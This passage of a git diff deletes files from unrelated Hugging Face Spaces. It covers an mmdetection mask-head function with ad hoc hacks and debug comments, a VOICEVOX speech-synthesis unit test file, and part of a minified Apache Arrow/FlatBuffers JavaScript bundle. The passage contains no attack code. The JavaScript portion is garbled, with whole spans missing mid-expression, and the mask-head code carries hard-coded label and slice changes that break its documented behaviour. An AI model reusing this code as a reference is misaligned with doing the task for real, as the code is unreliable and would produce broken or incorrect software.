det_bboxes, det_labels, rcnn_test_cfg, - ori_shape, scale_factor, rescale): - """Get segmentation masks from mask_pred and bboxes. - - Args: - mask_pred (Tensor or ndarray): shape (n, #class, h, w). - For single-scale testing, mask_pred is the direct output of - model, whose type is Tensor, while for multi-scale testing, - it will be converted to numpy array outside of this method. - det_bboxes (Tensor): shape (n, 4/5) - det_labels (Tensor): shape (n, ) - rcnn_test_cfg (dict): rcnn testing config - ori_shape (Tuple): original image height and width, shape (2,) - scale_factor(float | Tensor): If ``rescale is True``, box - coordinates are divided by this scale factor to fit - ``ori_shape``. - rescale (bool): If True, the resulting masks will be rescaled to - ``ori_shape``. - - Returns: - list[list]: encoded masks. The c-th item in the outer list - corresponds to the c-th class. Given the c-th outer list, the - i-th item in that inner list is the mask for the i-th box with - class label c. - - Example: - >>> import mmcv - >>> from mmdet.models.roi_heads.mask_heads.fcn_mask_head import * # NOQA - >>> N = 7 # N = number of extracted ROIs - >>> C, H, W = 11, 32, 32 - >>> # Create example instance of FCN Mask Head. - >>> self = FCNMaskHead(num_classes=C, num_convs=0) - >>> inputs = torch.rand(N, self.in_channels, H, W) - >>> mask_pred = self.forward(inputs) - >>> # Each input is associated with some bounding box - >>> det_bboxes = torch.Tensor([[1, 1, 42, 42 ]] * N) - >>> det_labels = torch.randint(0, C, size=(N,)) - >>> rcnn_test_cfg = mmcv.Config({'mask_thr_binary': 0, }) - >>> ori_shape = (H * 4, W * 4) - >>> scale_factor = torch.FloatTensor((1, 1)) - >>> rescale = False - >>> # Encoded masks are a list for each category. - >>> encoded_masks = self.get_seg_masks( - >>> mask_pred, det_bboxes, det_labels, rcnn_test_cfg, ori_shape, - >>> scale_factor, rescale - >>> ) - >>> assert len(encoded_masks) == C - >>> assert sum(list(map(len, encoded_masks))) == N - """ - if isinstance(mask_pred, torch.Tensor): - mask_pred = mask_pred.sigmoid() - else: - mask_pred = det_bboxes.new_tensor(mask_pred) - - device = mask_pred.device - cls_segms = [[] for _ in range(self.num_classes) - ] # BG is not included in num_classes - bboxes = det_bboxes[:, :4] - labels = det_labels - labels = torch.cat((labels, torch.tensor(([1])))) - bboxes = torch.cat((bboxes, bboxes)) - #print(labels,torch.tensor(([1]))) - #asas - - if rescale: - img_h, img_w = ori_shape[:2] - else: - if isinstance(scale_factor, float): - img_h = np.round(ori_shape[0] * scale_factor).astype(np.int32) - img_w = np.round(ori_shape[1] * scale_factor).astype(np.int32) - else: - w_scale, h_scale = scale_factor[0], scale_factor[1] - img_h = np.round(ori_shape[0] * h_scale.item()).astype( - np.int32) - img_w = np.round(ori_shape[1] * w_scale.item()).astype( - np.int32) - scale_factor = 1.0 - - if not isinstance(scale_factor, (float, torch.Tensor)): - scale_factor = bboxes.new_tensor(scale_factor) - bboxes = bboxes / scale_factor - - if torch.onnx.is_in_onnx_export(): - # TODO: Remove after F.grid_sample is supported. - from torchvision.models.detection.roi_heads \ - import paste_masks_in_image - masks = paste_masks_in_image(mask_pred, bboxes, ori_shape[:2]) - thr = rcnn_test_cfg.get('mask_thr_binary', 0) - if thr > 0: - masks = masks >= thr - return masks - - N = len(mask_pred) - # The actual implementation split the input into chunks, - # and paste them chunk by chunk. - if device.type == 'cpu': - # CPU is most efficient when they are pasted one by one with - # skip_empty=True, so that it performs minimal number of - # operations. - num_chunks = N - else: - # GPU benefits from parallelism for larger chunks, - # but may have memory issue - num_chunks = int( - np.ceil(N * img_h * img_w * BYTES_PER_FLOAT / GPU_MEM_LIMIT)) - assert (num_chunks <= - N), 'Default GPU_MEM_LIMIT is too small; try increasing it' - chunks = torch.chunk(torch.arange(N, device=device), num_chunks) - - threshold = rcnn_test_cfg.mask_thr_binary - im_mask = torch.zeros( - N, - img_h, - img_w, - device=device, - dtype=torch.bool if threshold >= 0 else torch.uint8) - - if not self.class_agnostic: - mask_pred = mask_pred[range(N), labels][:, None] - #print('-----------------------------') - #print(chunks) - - for inds in chunks: - #print(mask_pred[inds].shape, bboxes[inds].shape) - masks_chunk, spatial_inds = _do_paste_mask( - mask_pred[0:1], - bboxes[inds], - img_h, - img_w, - skip_empty=device.type == 'cpu') - masks_chunk_occ, spatial_inds_occ = _do_paste_mask( - mask_pred[1:2], - bboxes[inds], - img_h, - img_w, - skip_empty=device.type == 'cpu') - - - if threshold >= 0: - masks_chunk = (masks_chunk >= threshold).to(dtype=torch.bool) - masks_chunk_occ = (masks_chunk_occ >= threshold).to(dtype=torch.bool) - else: - # for visualization and debugging - masks_chunk = (masks_chunk * 255).to(dtype=torch.uint8) - - im_mask[([0], ) + spatial_inds] = masks_chunk - im_mask[([1], ) + spatial_inds] = masks_chunk_occ - - - for i in range(N): - cls_segms[labels[i]].append(im_mask[i].detach().cpu().numpy()) - #print(cls_segms) - return cls_segms - - -def _do_paste_mask(masks, boxes, img_h, img_w, skip_empty=True): - """Paste instance masks according to boxes. - - This implementation is modified from - https://github.com/facebookresearch/detectron2/ - - Args: - masks (Tensor): N, 1, H, W - boxes (Tensor): N, 4 - img_h (int): Height of the image to be pasted. - img_w (int): Width of the image to be pasted. - skip_empty (bool): Only paste masks within the region that - tightly bound all boxes, and returns the results this region only. - An important optimization for CPU. - - Returns: - tuple: (Tensor, tuple). The first item is mask tensor, the second one - is the slice object. - If skip_empty == False, the whole image will be pasted. It will - return a mask of shape (N, img_h, img_w) and an empty tuple. - If skip_empty == True, only area around the mask will be pasted. - A mask of shape (N, h', w') and its start and end coordinates - in the original image will be returned. - """ - # On GPU, paste all masks together (up to chunk size) - # by using the entire image to sample the masks - # Compared to pasting them one by one, - # this has more operations but is faster on COCO-scale dataset. - device = masks.device - if skip_empty: - x0_int, y0_int = torch.clamp( - boxes.min(dim=0).values.floor()[:2] - 1, - min=0).to(dtype=torch.int32) - x1_int = torch.clamp( - boxes[:, 2].max().ceil() + 1, max=img_w).to(dtype=torch.int32) - y1_int = torch.clamp( - boxes[:, 3].max().ceil() + 1, max=img_h).to(dtype=torch.int32) - else: - x0_int, y0_int = 0, 0 - x1_int, y1_int = img_w, img_h - x0, y0, x1, y1 = torch.split(boxes, 1, dim=1) # each is Nx1 - - N = masks.shape[0] - - img_y = torch.arange( - y0_int, y1_int, device=device, dtype=torch.float32) + 0.5 - img_x = torch.arange( - x0_int, x1_int, device=device, dtype=torch.float32) + 0.5 - img_y = (img_y - y0) / (y1 - y0) * 2 - 1 - img_x = (img_x - x0) / (x1 - x0) * 2 - 1 - # img_x, img_y have shapes (N, w), (N, h) - if torch.isinf(img_x).any(): - inds = torch.where(torch.isinf(img_x)) - img_x[inds] = 0 - if torch.isinf(img_y).any(): - inds = torch.where(torch.isinf(img_y)) - img_y[inds] = 0 - - gx = img_x[:, None, :].expand(N, img_y.size(1), img_x.size(1)) - gy = img_y[:, :, None].expand(N, img_y.size(1), img_x.size(1)) - grid = torch.stack([gx, gy], dim=3) - - if torch.onnx.is_in_onnx_export(): - raise RuntimeError( - 'Exporting F.grid_sample from Pytorch to ONNX is not supported.') - img_masks = F.grid_sample( - masks.to(dtype=torch.float32), grid, align_corners=False) - - if skip_empty: - return img_masks[:, 0], (slice(y0_int, y1_int), slice(x0_int, x1_int)) - else: - return img_masks[:, 0], () diff --git a/spaces/dirge/voicevox/test/test_synthesis_engine_base.py b/spaces/dirge/voicevox/test/test_synthesis_engine_base.py deleted file mode 100644 index 63f976a0ee5ec012c2ce832e014fb5ee960ebecb..0000000000000000000000000000000000000000 --- a/spaces/dirge/voicevox/test/test_synthesis_engine_base.py +++ /dev/null @@ -1,411 +0,0 @@ -from typing import List, Union -from unittest import TestCase -from unittest.mock import Mock - -import numpy - -from voicevox_engine.model import AccentPhrase, AudioQuery, Mora -from voicevox_engine.synthesis_engine import SynthesisEngine - - -def yukarin_s_mock(length: int, phoneme_list: numpy.ndarray, speaker_id: numpy.ndarray): - result = [] - # mockとしての適当な処理、特に意味はない - for i in range(length): - result.append(round(float(phoneme_list[i] * 0.0625 + speaker_id), 2)) - return numpy.array(result) - - -def yukarin_sa_mock( - length: int, - vowel_phoneme_list: numpy.ndarray, - consonant_phoneme_list: numpy.ndarray, - start_accent_list: numpy.ndarray, - end_accent_list: numpy.ndarray, - start_accent_phrase_list: numpy.ndarray, - end_accent_phrase_list: numpy.ndarray, - speaker_id: numpy.ndarray, -): - result = [] - # mockとしての適当な処理、特に意味はない - for i in range(length): - result.append( - round( - float( - ( - vowel_phoneme_list[0][i] - + consonant_phoneme_list[0][i] - + start_accent_list[0][i] - + end_accent_list[0][i] - + start_accent_phrase_list[0][i] - + end_accent_phrase_list[0][i] - ) - * 0.0625 - + speaker_id - ), - 2, - ) - ) - return numpy.array(result)[numpy.newaxis] - - -def decode_mock( - length: int, - phoneme_size: int, - f0: numpy.ndarray, - phoneme: numpy.ndarray, - speaker_id: Union[numpy.ndarray, int], -): - result = [] - # mockとしての適当な処理、特に意味はない - for i in range(length): - # decode forwardはデータサイズがlengthの256倍になるのでとりあえず256回データをresultに入れる - for _ in range(256): - result.append( - float( - f0[i][0] * (numpy.where(phoneme[i] == 1)[0] / phoneme_size) - + speaker_id - ) - ) - return numpy.array(result) - - -def koreha_arimasuka_base_expected(): - return [ - AccentPhrase( - moras=[ - Mora( - text="コ", - consonant="k", - consonant_length=2.44, - vowel="o", - vowel_length=2.88, - pitch=4.38, - ), - Mora( - text="レ", - consonant="r", - consonant_length=3.06, - vowel="e", - vowel_length=1.88, - pitch=4.0, - ), - Mora( - text="ワ", - consonant="w", - consonant_length=3.62, - vowel="a", - vowel_length=1.44, - pitch=4.19, - ), - ], - accent=3, - pause_mora=None, - is_interrogative=False, - ), - AccentPhrase( - moras=[ - Mora( - text="ア", - consonant=None, - consonant_length=None, - vowel="a", - vowel_length=1.44, - pitch=1.44, - ), - Mora( - text="リ", - consonant="r", - consonant_length=3.06, - vowel="i", - vowel_length=2.31, - pitch=4.44, - ), - Mora( - text="マ", - consonant="m", - consonant_length=2.62, - vowel="a", - vowel_length=1.44, - pitch=3.12, - ), - Mora( - text="ス", - consonant="s", - consonant_length=3.19, - vowel="U", - vowel_length=1.38, - pitch=0.0, - ), - Mora( - text="カ", - consonant="k", - consonant_length=2.44, - vowel="a", - vowel_length=1.44, - pitch=2.94, - ), - ], - accent=3, - pause_mora=None, - is_interrogative=False, - ), - ] - - -def create_mock_query(accent_phrases): - return AudioQuery( - accent_phrases=accent_phrases, - speedScale=1, - pitchScale=0, - intonationScale=1, - volumeScale=1, - prePhonemeLength=0.1, - postPhonemeLength=0.1, - outputSamplingRate=24000, - outputStereo=False, - kana="", - ) - - -class MockCore: - yukarin_s_forward = Mock(side_effect=yukarin_s_mock) - yukarin_sa_forward = Mock(side_effect=yukarin_sa_mock) - decode_forward = Mock(side_effect=decode_mock) - - def metas(self): - return "" - - def supported_devices(self): - return "" - - def is_model_loaded(self, speaker_id): - return True - - -class TestSynthesisEngineBase(TestCase): - def setUp(self): - super().setUp() - self.synthesis_engine = SynthesisEngine( - core=MockCore(), - ) - self.synthesis_engine._synthesis_impl = Mock() - - def create_accent_phrases_test_base(self, text: str, expected: List[AccentPhrase]): - actual = self.synthesis_engine.create_accent_phrases(text, 1) - self.assertEqual( - expected, - actual, - "case(text:" + text + ")", - ) - - def create_synthesis_test_base( - self, - text: str, - expected: List[AccentPhrase], - enable_interrogative_upspeak: bool, - ): - """音声合成時に疑問文モーラ処理を行っているかどうかを検証 - (https://github.com/VOICEVOX/voicevox_engine/issues/272#issuecomment-1022610866) - """ - accent_phrases = self.synthesis_engine.create_accent_phrases(text, 1) - query = create_mock_query(accent_phrases=accent_phrases) - self.synthesis_engine.synthesis( - query, 0, enable_interrogative_upspeak=enable_interrogative_upspeak - ) - # _synthesis_implの第一引数に与えられたqueryを検証 - actual = self.synthesis_engine._synthesis_impl.call_args[0][0].accent_phrases - - self.assertEqual( - expected, - actual, - "case(text:" + text + ")", - ) - - def test_create_accent_phrases(self): - """accent_phrasesの作成時では疑問文モーラ処理を行わない - (https://github.com/VOICEVOX/voicevox_engine/issues/272#issuecomment-1022610866) - """ - expected = koreha_arimasuka_base_expected() - expected[-1].is_interrogative = True - self.create_accent_phrases_test_base(text="これはありますか？", expected=expected) - - def test_synthesis_interrogative(self): - expected = koreha_arimasuka_base_expected() - expected[-1].is_interrogative = True - expected[-1].moras += [ - Mora( - text="ア", - consonant=None, - consonant_length=None, - vowel="a", - vowel_length=0.15, - pitch=expected[-1].moras[-1].pitch + 0.3, - ) - ] - self.create_synthesis_test_base( - text="これはありますか？", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = koreha_arimasuka_base_expected() - expected[-1].is_interrogative = True - self.create_synthesis_test_base( - text="これはありますか？", - expected=expected, - enable_interrogative_upspeak=False, - ) - - expected = koreha_arimasuka_base_expected() - self.create_synthesis_test_base( - text="これはありますか", - expected=expected, - enable_interrogative_upspeak=True, - ) - - def nn_base_expected(): - return [ - AccentPhrase( - moras=[ - Mora( - text="ン", - consonant=None, - consonant_length=None, - vowel="N", - vowel_length=1.25, - pitch=1.44, - ) - ], - accent=1, - pause_mora=None, - is_interrogative=False, - ) - ] - - expected = nn_base_expected() - self.create_synthesis_test_base( - text="ん", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = nn_base_expected() - expected[-1].is_interrogative = True - expected[-1].moras += [ - Mora( - text="ン", - consonant=None, - consonant_length=None, - vowel="N", - vowel_length=0.15, - pitch=expected[-1].moras[-1].pitch + 0.3, - ) - ] - self.create_synthesis_test_base( - text="ん？", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = nn_base_expected() - expected[-1].is_interrogative = True - self.create_synthesis_test_base( - text="ん？", - expected=expected, - enable_interrogative_upspeak=False, - ) - - def ltu_base_expected(): - return [ - AccentPhrase( - moras=[ - Mora( - text="ッ", - consonant=None, - consonant_length=None, - vowel="cl", - vowel_length=1.69, - pitch=0.0, - ) - ], - accent=1, - pause_mora=None, - is_interrogative=False, - ) - ] - - expected = ltu_base_expected() - self.create_synthesis_test_base( - text="っ", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = ltu_base_expected() - expected[-1].is_interrogative = True - self.create_synthesis_test_base( - text="っ？", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = ltu_base_expected() - expected[-1].is_interrogative = True - self.create_synthesis_test_base( - text="っ？", - expected=expected, - enable_interrogative_upspeak=False, - ) - - def su_base_expected(): - return [ - AccentPhrase( - moras=[ - Mora( - text="ス", - consonant="s", - consonant_length=3.19, - vowel="u", - vowel_length=3.5, - pitch=5.94, - ) - ], - accent=1, - pause_mora=None, - is_interrogative=False, - ) - ] - - expected = su_base_expected() - self.create_synthesis_test_base( - text="す", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = su_base_expected() - expected[-1].is_interrogative = True - expected[-1].moras += [ - Mora( - text="ウ", - consonant=None, - consonant_length=None, - vowel="u", - vowel_length=0.15, - pitch=expected[-1].moras[-1].pitch + 0.3, - ) - ] - self.create_synthesis_test_base( - text="す？", - expected=expected, - enable_interrogative_upspeak=True, - ) - - expected = su_base_expected() - expected[-1].is_interrogative = True - self.create_synthesis_test_base( - text="す？", - expected=expected, - enable_interrogative_upspeak=False, - ) diff --git a/spaces/donnyb/FalconVis/dist/assets/index-f2635686.js b/spaces/donnyb/FalconVis/dist/assets/index-f2635686.js deleted file mode 100644 index 67afc8108ec6dca4075466efc2341a1bbe4e5e58..0000000000000000000000000000000000000000 --- a/spaces/donnyb/FalconVis/dist/assets/index-f2635686.js +++ /dev/null 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w4{constructor(t,n=1){this.buffer=t,this.stride=n,this.BYTES_PER_ELEMENT=t.BYTES_PER_ELEMENT,this.ArrayType=t.constructor,this._resize(this.length=Math.ceil(t.length/n))}get byteLength(){return Math.ceil(this.length*this.stride)*this.BYTES_PER_ELEMENT}get reservedLength(){return this.buffer.length/this.stride}get reservedByteLength(){return this.buffer.byteLength}set(t,n){return this}append(t){return this.set(this.length,t)}reserve(t){if(t>0){this.length+=t;const n=this.stride,i=this.length*n,s=this.buffer.length;i>=s&&this._resize(s===0?z6(i*1,this.BYTES_PER_ELEMENT):z6(i*2,this.BYTES_PER_ELEMENT))}return this}flush(t=this.length){t=z6(t*this.stride,this.BYTES_PER_ELEMENT);const n=ZK(this.buffer,t);return this.clear(),n}clear(){return this.length=0,this._resize(0),this}_resize(t){return this.buffer=_2(new this.ArrayType(t),this.buffer)}}w4.prototype.offset=0;class l0 extends w4{last(){return this.get(this.length-1)}get(t){return this.buffer[t]}set(t,n){return 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t=0;const{_offsets:n,_values:i,_nulls:s,_typeIds:o,children:c}=this;return n&&(t+=n.byteLength),i&&(t+=i.byteLength),s&&(t+=s.byteLength),o&&(t+=o.byteLength),c.reduce((d,f)=>d+f.byteLength,t)}get reservedLength(){return this._nulls.reservedLength}get reservedByteLength(){let t=0;return this._offsets&&(t+=this._offsets.reservedByteLength),this._values&&(t+=this._values.reservedByteLength),this._nulls&&(t+=this._nulls.reservedByteLength),this._typeIds&&(t+=this._typeIds.reservedByteLength),this.children.reduce((n,i)=>n+i.reservedByteLength,t)}get valueOffsets(){return this._offsets?this._offsets.buffer:null}get values(){return this._values?this._values.buffer:null}get nullBitmap(){return this._nulls?this._nulls.buffer:null}get typeIds(){return this._typeIds?this._typeIds.buffer:null}append(t){return this.set(this.length,t)}isValid(t){return this._isValid(t)}set(t,n){return this.setValid(t,this.isValid(n))&&this.setValue(t,n),this}setValue(t,n){this._setValue(this,t,n)}setValid(t,n){return this.length=this._nulls.set(t,+n).length,n}addChild(t,n=`${this.numChildren}`){throw new Error(`Cannot append children to non-nested type "${this.type}"`)}getChildAt(t){return this.children[t]||null}flush(){let t,n,i,s;const{type:o,length:c,nullCount:d,_typeIds:f,_offsets:u,_values:a,_nulls:m}=this;(n=f==null?void 0:f.flush(c))?s=u==null?void 0:u.flush(c):(s=u==null?void 0:u.flush(c))?t=a==null?void 0:a.flush(u.last()):t=a==null?void 0:a.flush(c),d>0&&(i=m==null?void 0:m.flush(c));const y=this.children.map(p=>p.flush());return this.clear(),Ze({type:o,length:c,nullCount:d,children:y,child:y[0],data:t,typeIds:n,nullBitmap:i,valueOffsets:s})}finish(){this.finished=!0;for(const t of this.children)t.finish();return this}clear(){var t,n,i,s;this.length=0,(t=this._nulls)===null||t===void 0||t.clear(),(n=this._values)===null||n===void 0||n.clear(),(i=this._offsets)===null||i===void 0||i.clear(),(s=this._typeIds)===null||s===void 0||s.clear();for(const o of this.children)o.clear();return this}};ki.prototype.length=1;ki.prototype.stride=1;ki.prototype.children=null;ki.prototype.finished=!1;ki.prototype.nullValues=null;ki.prototype._isValid=()=>!0;class mc extends ki{constructor(t){super(t),this._values=new l0(new this.ArrayType(0),this.stride)}setValue(t,n){const i=this._values;return i.reserve(t-i.length+1),super.setValue(t,n)}}class L4 extends ki{constructor(t){super(t),this._pendingLength=0,this._offsets=new IC}setValue(t,n){const i=this._pending||(this._pending=new Map),s=i.get(t);s&&(this._pendingLength-=s.length),this._pendingLength+=n instanceof o0?n[vr].length:n.length,i.set(t,n)}setValid(t,n){return super.setValid(t,n)?!0:((this._pending||(this._pending=new Map)).set(t,void 0),!1)}clear(){return this._pendingLength=0,this._pending=void 0,super.clear()}flush(){return this._flush(),super.flush()}finish(){return this._flush(),super.finish()}_flush(){const t=this._pending,n=this._pendingLength;return this._pendingLength=0,this._pending=void 0,t&&t.size>0&&this._flushPending(t,n),this}}class A5{constructor(){this.bb=null,this.bb_pos=0}__init(t,n){return this.bb_pos=t,this.bb=n,this}offset(){return this.bb.readInt64(this.bb_pos)}metaDataLength(){return this.bb.readInt32(this.bb_pos+8)}bodyLength(){return this.bb.readInt64(this.bb_pos+16)}static sizeOf(){return 24}static createBlock(t,n,i,s){return t.prep(8,24),t.writeInt64(s),t.pad(4),t.writeInt32(i),t.writeInt64(n),t.offset()}}const $6=2,fa=4,Eo=4,Qt=4,wl=new Int32Array(2),jk=new Float32Array(wl.buffer),Uk=new Float64Array(wl.buffer),Fg=new Uint16Array(new Uint8Array([1,0]).buffer)[0]===1;let Ao=class N5{constructor(t,n){this.low=t|0,this.high=n|0}static create(t,n){return t==0&&n==0?N5.ZERO:new N5(t,n)}toFloat64(){return(this.low>>>0)+this.high*4294967296}equals(t){return this.low==t.low&&this.high==t.high}};Ao.ZERO=new Ao(0,0);var C5;(function(e){e[e.UTF8_BYTES=1]="UTF8_BYTES",e[e.UTF16_STRING=2]="UTF16_STRING"})(C5||(C5={}));let Mu=class OC{constructor(t){this.bytes_=t,this.position_=0}static allocate(t){return new OC(new Uint8Array(t))}clear(){this.position_=0}bytes(){return this.bytes_}position(){return this.position_}setPosition(t){this.position_=t}capacity(){return this.bytes_.length}readInt8(t){return this.readUint8(t)<<24>>24}readUint8(t){return this.bytes_[t]}readInt16(t){return this.readUint16(t)<<16>>16}readUint16(t){return this.bytes_[t]|this.bytes_[t+1]<<8}readInt32(t){return this.bytes_[t]|this.bytes_[t+1]<<8|this.bytes_[t+2]<<16|this.bytes_[t+3]<<24}readUint32(t){return this.readInt32(t)>>>0}readInt64(t){return new Ao(this.readInt32(t),this.readInt32(t+4))}readUint64(t){return new Ao(this.readUint32(t),this.readUint32(t+4))}readFloat32(t){return wl[0]=this.readInt32(t),jk[0]}readFloat64(t){return wl[Fg?0:1]=this.readInt32(t),wl[Fg?1:0]=this.readInt32(t+4),Uk[0]}writeInt8(t,n){this.bytes_[t]=n}writeUint8(t,n){this.bytes_[t]=n}writeInt16(t,n){this.bytes_[t]=n,this.bytes_[t+1]=n>>8}writeUint16(t,n){this.bytes_[t]=n,this.bytes_[t+1]=n>>8}writeInt32(t,n){this.bytes_[t]=n,this.bytes_[t+1]=n>>8,this.bytes_[t+2]=n>>16,this.bytes_[t+3]=n>>24}writeUint32(t,n){this.bytes_[t]=n,this.bytes_[t+1]=n>>8,this.bytes_[t+2]=n>>16,this.bytes_[t+3]=n>>24}writeInt64(t,n){this.writeInt32(t,n.low),this.writeInt32(t+4,n.high)}writeUint64(t,n){this.writeUint32(t,n.low),this.writeUint32(t+4,n.high)}writeFloat32(t,n){jk[0]=n,this.writeInt32(t,wl[0])}writeFloat64(t,n){Uk[0]=n,this.writeInt32(t,wl[Fg?0:1]),this.writeInt32(t+4,wl[Fg?1:0])}getBufferIdentifier(){if(this.bytes_.length>10)+55296,(c&(1<<10)-1)+56320))}return s}__union_with_string(t,n){return typeof t=="string"?this.__string(n):this.__union(t,n)}__indirect(t){return t+this.readInt32(t)}__vector(t){return t+this.readInt32(t)+fa}__vector_len(t){return this.readInt32(t+this.readInt32(t))}__has_identifier(t){if(t.length!=Eo)throw new Error("FlatBuffers: file identifier must be length "+Eo);for(let n=0;nthis.minalign&&(this.minalign=t);const i=~(this.bb.capacity()-this.space+n)+1&t-1;for(;this.space=0&&this.vtable[n]==0;n--);const i=n+1;for(;n>=0;n--)this.addInt16(this.vtable[n]!=0?t-this.vtable[n]:0);const s=2;this.addInt16(t-this.object_start);const o=(i+s)*$6;this.addInt16(o);let c=0;const d=this.space;e:for(n=0;n=0;c--)this.writeInt8(o.charCodeAt(c))}this.prep(this.minalign,fa+s),this.addOffset(t),s&&this.addInt32(this.bb.capacity()-this.space),this.bb.setPosition(this.space)}finishSizePrefixed(t,n){this.finish(t,n,!0)}requiredField(t,n){const i=this.bb.capacity()-t,s=i-this.bb.readInt32(i);if(!(this.bb.readInt16(s+n)!=0))throw new Error("FlatBuffers: field "+n+" must be set")}startVector(t,n,i){this.notNested(),this.vector_num_elems=n,this.prep(fa,t*n),this.prep(i,t*n)}endVector(){return this.writeInt32(this.vector_num_elems),this.offset()}createSharedString(t){if(!t)return 0;if(this.string_maps||(this.string_maps=new Map),this.string_maps.has(t))return this.string_maps.get(t);const n=this.createString(t);return this.string_maps.set(t,n),n}createString(t){if(!t)return 0;let n;if(t instanceof Uint8Array)n=t;else{n=[];let i=0;for(;i=56320)s=o;else{const c=t.charCodeAt(i++);s=(o<<10)+c+(65536-(55296<<10)-56320)}s<128?n.push(s):(s<2048?n.push(s>>6&31|192):(s<65536?n.push(s>>12&15|224):n.push(s>>18&7|240,s>>12&63|128),n.push(s>>6&63|128)),n.push(s&63|128))}}this.addInt8(0),this.startVector(1,n.length,1),this.bb.setPosition(this.space-=n.length);for(let i=0,s=this.space,o=this.bb.bytes();i=0;i--)t.addInt32(n[i]);return t.endVector()}static startTypeIdsVector(t,n){t.startVector(4,n,4)}static endUnion(t){return t.endObject()}static createUnion(t,n,i){return Kc.startUnion(t),Kc.addMode(t,n),Kc.addTypeIds(t,i),Kc.endUnion(t)}};class gd{constructor(){this.bb=null,this.bb_pos=0}__init(t,n){return this.bb_pos=t,this.bb=n,this}static getRootAsUtf8(t,n){return(n||new gd).__init(t.readInt32(t.position())+t.position(),t)}static getSizePrefixedRootAsUtf8(t,n){return t.setPosition(t.position()+Qt),(n||new gd).__init(t.readInt32(t.position())+t.position(),t)}static startUtf8(t){t.startObject(0)}static endUtf8(t){return t.endObject()}static createUtf8(t){return gd.startUtf8(t),gd.endUtf8(t)}}var gt;(function(e){e[e.NONE=0]="NONE",e[e.Null=1]="Null",e[e.Int=2]="Int",e[e.FloatingPoint=3]="FloatingPoint",e[e.Binary=4]="Binary",e[e.Utf8=5]="Utf8",e[e.Bool=6]="Bool",e[e.Decimal=7]="Decimal",e[e.Date=8]="Date",e[e.Time=9]="Time",e[e.Timestamp=10]="Timestamp",e[e.Interval=11]="Interval",e[e.List=12]="List",e[e.Struct_=13]="Struct_",e[e.Union=14]="Union",e[e.FixedSizeBinary=15]="FixedSizeBinary",e[e.FixedSizeList=16]="FixedSizeList",e[e.Map=17]="Map",e[e.Duration=18]="Duration",e[e.LargeBinary=19]="LargeBinary",e[e.LargeUtf8=20]="LargeUtf8",e[e.LargeList=21]="LargeList"})(gt||(gt={}));let $s=class I_{constructor(){this.bb=null,this.bb_pos=0}__init(t,n){return this.bb_pos=t,this.bb=n,this}static getRootAsField(t,n){return(n||new I_).__init(t.readInt32(t.position())+t.position(),t)}static getSizePrefixedRootAsField(t,n){return t.setPosition(t.position()+Qt),(n||new I_).__init(t.readInt32(t.position())+t.position(),t)}name(t){const n=this.bb.__offset(this.bb_pos,4);return n?this.bb.__string(this.bb_pos+n,t):null}nullable(){const t=this.bb.__offset(this.bb_pos,6);return t?!!this.bb.readInt8(this.bb_pos+t):!1}typeType(){const t=this.bb.__offset(this.bb_pos,8);return t?this.bb.readUint8(this.bb_pos+t):gt.NONE}type(t){const n=this.bb.__offset(this.bb_pos,10);return n?this.bb.__union(t,this.bb_pos+n):null}dictionary(t){const n=this.bb.__offset(this.bb_pos,12);return n?(t||new So).__init(this.bb.__indirect(this.bb_pos+n),this.bb):null}children(t,n){const i=this.bb.__offset(this.bb_pos,14);return i?(n||new I_).__init(this.bb.__indirect(this.bb.__vector(this.bb_pos+i)+t*4),this.bb):null}childrenLength(){const t=this.bb.__offset(this.bb_pos,14);return t?this.bb.__vector_len(this.bb_pos+t):0}customMetadata(t,n){const i=this.bb.__offset(this.bb_pos,16);return i?(n||new Fn).__init(this.bb.__indirect(this.bb.__vector(this.bb_pos+i)+t*4),this.bb):null}customMetadataLength(){const t=this.bb.__offset(this.bb_pos,16);return t?this.bb.__vector_len(this.bb_pos+t):0}static startField(t){t.startObject(7)}static addName(t,n){t.addFieldOffset(0,n,0)}static addNullable(t,n){t.addFieldInt8(1,+n,0)}static addTypeType(t,n){t.addFieldInt8(2,n,gt.NONE)}static addType(t,n){t.addFieldOffset(3,n,0)}static addDictionary(t,n){t.addFieldOffset(4,n,0)}static addChildren(t,n){t.addFieldOffset(5,n,0)}static createChildrenVector(t,n){t.startVector(4,n.length,4);for(let i=n.length-1;i>=0;i--)t.addOffset(n[i]);return t.endVector()}static startChildrenVector(t,n){t.startVector(4,n,4)}static addCustomMetadata(t,n){t.addFieldOffset(6,n,0)}static createCustomMetadataVector(t,n){t.startVector(4,n.length,4);for(let i=n.length-1;i>=0;i--)t.addOffset(n[i]);return t.endVector()}static startCustomMetadataVector(t,n){t.startVector(4,n,4)}static endField(t){return t.endObject()}},ra=class yo{constructor(){this.bb=null,this.bb_pos=0}__init(t,n){return this.bb_pos=t,this.bb=n,this}static getRootAsSchema(t,n){return(n||new yo).__init(t.readInt32(t.position())+t.position(),t)}static getSizePrefixedRootAsSchema(t,n){return t.setPosition(t.position()+Qt),(n||new yo).__init(t.readInt32(t.position())+t.position(),t)}endianness(){const t=this.bb.__offset(this.bb_pos,4);return t?this.bb.readInt16(this.bb_pos+t):Nu.Little}fields(t,n){const i=this.bb.__offset(this.bb_pos,6);return i?(n||new $s).__init(this.bb.__indirect(this.bb.__vector(this.bb_pos+i)+t*4),this.bb):null}fieldsLength(){const t=this.bb.__offset(this.bb_pos,6);return t?this.bb.__vector_len(this.bb_pos+t):0}customMetadata(t,n){const i=this.bb.__offset(this.bb_pos,8);return i?(n||new Fn).__init(this.bb.__indirect(this.bb.__vector(this.bb_pos+i)+t*4),this.bb):null}customMetadataLength(){const t=this.bb.__offset(this.bb_pos,8);return t?this.bb.__vector_len(this.bb_pos+t):0}features(t){const n=this.bb.__offset(this.bb_pos,10);return n?this.bb.readInt64(this.bb.__vector(this.bb_pos+n)+t*8):this.bb.createLong(0,0)}featuresLength(){const t=this.bb.__offset(this.bb_pos,10);return t?this.bb.__vector_len(this.bb_pos+t):0}static startSchema(t){t.startObject(4)}static addEndianness(t,n){t.addFieldInt16(0,n,Nu.Little)}static addFields(t,n){t.addFieldOffset(1,n,0)}static createFieldsVector(t,n){t.startVector(4,n.length,4);for(let i=n.length-1;i>=0;i--)t.addOffset(n[i]);return t.endVector()}static startFieldsVector(t,n){t.startVector(4,n,4)}static addCustomMetadata(t,n){t.addFieldOffset(2,n,0)}static 